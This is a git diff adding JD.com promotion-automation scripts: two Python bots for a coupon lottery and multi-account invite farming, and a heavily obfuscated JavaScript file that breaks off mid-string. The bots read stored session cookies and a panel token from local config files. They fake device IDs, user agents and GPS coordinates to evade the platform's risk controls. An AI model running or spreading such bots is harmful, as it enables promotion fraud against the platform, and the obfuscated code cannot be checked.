Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_btdraw.py b/jd_btdraw.py new file mode 100644 index 0000000..800f3e0 --- /dev/null +++ b/jd_btdraw.py @@ -0,0 +1,218 @@ +# -*- coding:utf-8 -*- +#pip install PyExecJS + + +""" +cron: 23 10 * * * +new Env('京东金融天天试手气'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + +try: + import execjs +except: + print('缺少依赖文件PyExecJS,请先去Python3安装PyExecJS后再执行') + sys.exit(0) + +def printf(text): + print(text) + sys.stdout.flush() + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + js = execjs.compile(jstext) + result = js.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + +def getactivityid(ck): + homepageurl='https://ms.jr.jd.com/gw/generic/bt/h5/m/btJrFirstScreen' + data='reqData={"environment":"2","clientType":"ios","clientVersion":"6.2.60"}' + try: + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://mcr.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://mcr.jd.com/', + 'Content-Length':'71', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + homepageresponse=requests.post(url=homepageurl,headers=headers,data=data) + for i in range(len(json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'])): + if json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'][i]['resName'].find('天天试手气')!=-1: + activityurl=json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'][i]['jumpUrl']['jumpUrl']+'&jrcontainer=h5&jrlogin=true&jrcloseweb=false' + break + htmlheaders={ + 'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'user-agent':UserAgent, + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'accept-encoding':'gzip, deflate, br' + } + activityhtml=requests.get(url=activityurl,headers=htmlheaders) + activityid=re.search(r"activityId=.{28}",activityhtml.text,re.M|re.I).group().replace('activityId=','') + print('活动id:'+activityid) + return activityid + except: + printf('获取活动id失败,程序即将退出') + os._exit(0) +def draw(activityid,eid,fp): + global sendNotifyflag + global prizeAward + sendNotifyflag=False + prizeAward=0 + url='https://jrmkt.jd.com/activity/newPageTake/takePrize' + data=f'activityId={activityid}&eid={eid}&fp={fp}' + headers={ + 'Host':'jrmkt.jd.com', + 'Accept':'application/json, text/javascript, */*; q=0.01', + 'X-Requested-With':'XMLHttpRequest', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + 'Accept-Encoding':'gzip, deflate, br', + 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'User-Agent':UserAgent, + 'Connection':'keep-alive', + 'Referer':'https://ms.jr.jd.com/gw/generic/bt/h5/m/btJrFirstScreen', + 'Content-Length':str(len(data)), + 'Cookie':ck + } + response=requests.post(url=url,headers=headers,data=data) + try: + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('元')!=-1: + printf('获得'+json.loads(response.text)['prizeModels'][0]['useLimit']+'的'+json.loads(response.text)['prizeModels'][0]['prizeName']+'\n金额:'+json.loads(response.text)['prizeModels'][0]['prizeAward']+'\n有效期:'+json.loads(response.text)['prizeModels'][0]['validTime']+'\n\n') + if int((json.loads(response.text)['prizeModels'][0]['prizeAward']).replace('.00元',''))>=5: + prizeAward=json.loads(response.text)['prizeModels'][0]['prizeAward'] + sendNotifyflag=True + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('期')!=-1: + printf(response.text) + send('抽到白条分期券','去看日志') + except: + printf('出错啦,出错原因为:'+json.loads(response.text)['failDesc']+'\n\n') + + time.sleep(5) + +if __name__ == '__main__': + printf('游戏入口:京东金融-白条-天天试手气\n') + remarkinfos={} + get_remarkinfo() + UserAgent=randomuserAgent() + try: + cks = os.environ["JD_COOKIE"].split("&") + UserAgent=randomuserAgent() + activityid=getactivityid(cks[0]) + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://prodev.m.jd.com/mall/active/498THTs5KGNqK5nEaingGsKEi6Ao/index.html') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + draw(activityid,eid,fp) + if sendNotifyflag: + send('京东白条抽奖通知',username+'抽到'+str(prizeAward)+'的优惠券了,速去京东金融-白条-天天试手气查看') \ No newline at end of file diff --git a/jd_btfree.py b/jd_btfree.py new file mode 100644 index 0000000..f004aa2 --- /dev/null +++ b/jd_btfree.py @@ -0,0 +1,266 @@ +# -*- coding:utf-8 -*- +#依赖管理-Python3-添加依赖PyExecJS +#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) +#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * +import execjs +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib +from urllib.parse import quote + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def printf(text): + print(text+'\n') + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + ctx = execjs.compile(jstext) + result = ctx.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + + + +def gettoken(): + url='https://gia.jd.com/m.html' + headers={'User-Agent':UserAgent} + response=requests.get(url=url,headers=headers) + return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') + + +def getsharetasklist(ck,eid,fp,token): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + for i in range(len(json.loads(response.text)['resultData']['data'])): + if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': + printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) + return json.loads(response.text)['resultData']['data'][i]['activityId'] + break + except: + printf('获取任务信息出错,程序即将退出!') + os._exit(0) + + + +def obtainsharetask(ck,eid,fp,token,activityid): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) + printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) + return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] + except: + printf('开启任务出错,程序即将退出!') + os._exit(0) + + +def assist(ck,eid,fp,token,obtainActivityid,invitecode): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + if response.text.find('本次助力活动已完成')!=-1: + send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') + printf('助力完成,程序即将退出!') + os._exit(0) + else: + if json.loads(response.text)['resultData']['result']['code']=='0000': + printf('助力成功') + elif json.loads(response.text)['resultData']['result']['code']=='M1003': + printf('该用户未开启白条,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='U0002': + printf('该用户白条账户异常,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='E0004': + printf('该活动仅限受邀用户参与,助力失败!') + else: + print(response.text) + except: + try: + print(response.text) + except: + printf('助力出错,可能是cookie过期了') + + + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo() + + + jdjrcookie=os.environ["JDJR_COOKIE"] + + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + activityid=getsharetasklist(jdjrcookie,eid,fp,token) + inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) + + + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_captian_anjia.js b/jd_captian_anjia.js new file mode 100755 index 0000000..45dad62 --- /dev/null +++ b/jd_captian_anjia.js @@ -0,0 +1,8 @@ +/* +入口 https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=1497619f82c44085be5bedd7bf70efc0 + +*/ +const $ = new Env("安佳组队"); +var _0xod8='jsjiami.com.v6',_0xod8_=['‮_0xod8'],_0x5ec0=[_0xod8,'JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','cGR6b1U=','SnZaQXA=','VUhZTng=','bG1ockE=','Q3VwV1M=','V0lnbVA=','SUJ2SWM=','WG5PTUM=','V2Z1UHk=','S29XeW0=','aGRDQ0Q=','aUh3dEY=','ZkVvT0U=','bkVpcEU=','Y2RRbHM=','dWVubFQ=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','Y2x5SEw=','UGFucHM=','c3VjY2Vzcw==','bWVzc2FnZQ==','RExscUg=','Y2lydFg=','ZXJyb3JNZXNzYWdl','WXBreVk=','ZUNOVVc=','SFZZY1c=','ZWlUY2Y=','MTAwMQ==','dXNlckluZm8=','eHNlTFQ=','YkJQVFk=','WHdWSkw=','WlBKT2I=','ZUVjT3I=','QnNBS2s=','Q1N5aGQ=','TmRXeGo=','UHp1VVE=','TkpnUUE=','YXJoTVE=','bHVTT2g=','Y3hhSnU=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','VHFZRUg=','YU5jdEo=','Q1R6WXM=','SkRfVVNFUl9BR0VOVA==','Wk5QRXU=','ZVdVSEw=','VVNFUl9BR0VOVA==','aUtjRHI=','ZndUTHQ=','dk9VdWY=','YmhkV2s=','SVNZVlU=','dGNGUEE=','VlpURGU=','cmlXaE8=','Ymhuc04=','ZHFKRUk=','cEh2Q1A=','SHhvT2Q=','a3lDSFY=','dVhxa2o=','ZnZxbXY=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','U0lHTl9VUkw=','aWl3UUw=','UXhvdFQ=','eG96cm0=','QmZyelQ=','a3JjcVM=','bGZsWFk=','Sk9maWs=','TXVPRmw=','Z0trR1I=','a2thV1U=','akpqU1k=','aFpCSXE=','R2xPa28=','Y29kZQ==','Y1VyR0k=','dk15Tmo=','alFZQW4=','VVBoUFY=','cmV0Y29kZQ==','U3RBVHk=','aGFzT3duUHJvcGVydHk=','bXhhV2U=','YmFzZUluZm8=','U2ZjUUY=','UVVyQks=','Zmxvb3I=','VFpIVnU=','cmFuZG9t','VGhWUmc=','RWdzcEo=','cmVwbGFjZQ==','SGpZZks=','d2VMQ2Y=','SEtSR20=','a0VFdE4=','bGplTGU=','bXdLZU8=','YXdQSGE=','RX